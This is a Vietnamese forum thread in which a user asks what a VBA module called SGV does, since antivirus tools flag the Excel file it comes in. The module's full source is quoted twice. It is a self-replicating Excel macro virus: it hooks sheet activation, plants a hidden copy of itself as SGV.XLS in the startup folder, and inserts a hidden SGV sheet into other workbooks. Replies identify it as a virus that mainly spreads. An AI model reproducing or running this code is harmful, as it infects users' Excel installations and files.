File Excel báo virus.

[cantl]

Chào các bác,
Các bác cho em hỏi code này nếu cho enable addin khi mở thì nó có ảnh hưởng gì không ạ? Em chưa dịch code này sang tiếng Việt được.
Hiện tại thì Win defender báo virus và virustotal cũng bắt chước theo.

Code này nằm trong module SGV của file gửi kèm.

Sub auto_open()
    Application.OnSheetActivate = "check_files"
End Sub
 
Sub check_files()
    C$ = Application.StartupPath
    m$ = Dir(C$ & "\" & "SGV.XLS")
    If m$ = "SGV.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then W = 1 Else W = 0
    whichfile = p + W * 10
   
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    N4$ = ActiveWorkbook.Name
    Sheets("SGV").Visible = True
    Sheets("SGV").Select
    Sheets("SGV").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "SGV.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(N4$).Sheets("SGV").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "SGV.XLS!check_files"
    Case 1
    Application.ScreenUpdating = False
    N4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(N4$).Sheets(1).Name
    If s$ <> "SGV" Then
           
      Workbooks("SGV.XLS").Sheets("SGV").Copy before:=Workbooks(N4$).Sheets(1)
        Workbooks(N4$).Sheets("SGV").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "SGV.XLS!check_files"
    Case Else
End Select
End Sub

 

[Nhattanktnn]

Chào các bác,
Các bác cho em hỏi code này nếu cho enable addin khi mở thì nó có ảnh hưởng gì không ạ? Em chưa dịch code này sang tiếng Việt được.
Hiện tại thì Win defender báo virus và virustotal cũng bắt chước theo.

Code này nằm trong module SGV của file gửi kèm.

Sub auto_open()
    Application.OnSheetActivate = "check_files"
End Sub
 
Sub check_files()
    C$ = Application.StartupPath
    m$ = Dir(C$ & "\" & "SGV.XLS")
    If m$ = "SGV.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then W = 1 Else W = 0
    whichfile = p + W * 10
  
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    N4$ = ActiveWorkbook.Name
    Sheets("SGV").Visible = True
    Sheets("SGV").Select
    Sheets("SGV").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "SGV.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(N4$).Sheets("SGV").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "SGV.XLS!check_files"
    Case 1
    Application.ScreenUpdating = False
    N4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(N4$).Sheets(1).Name
    If s$ <> "SGV" Then
          
      Workbooks("SGV.XLS").Sheets("SGV").Copy before:=Workbooks(N4$).Sheets(1)
        Workbooks(N4$).Sheets("SGV").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "SGV.XLS!check_files"
    Case Else
End Select
End Sub

Virus, cho nó ra đảo ngay và luôn

 

[cantl]

Virus, cho nó ra đảo ngay và luôn

Ý mình muốn được hiểu bằng cách dịch sang tiếng Việt thì nó sẽ cắn gì ấy.

 

[Nhattanktnn]

Ý mình muốn được hiểu bằng cách dịch sang tiếng Việt thì nó sẽ cắn gì ấy.

Theo mình thấy thì nó chỉ tìm cách nhân giống thôi . Để làm gì thì mình không biết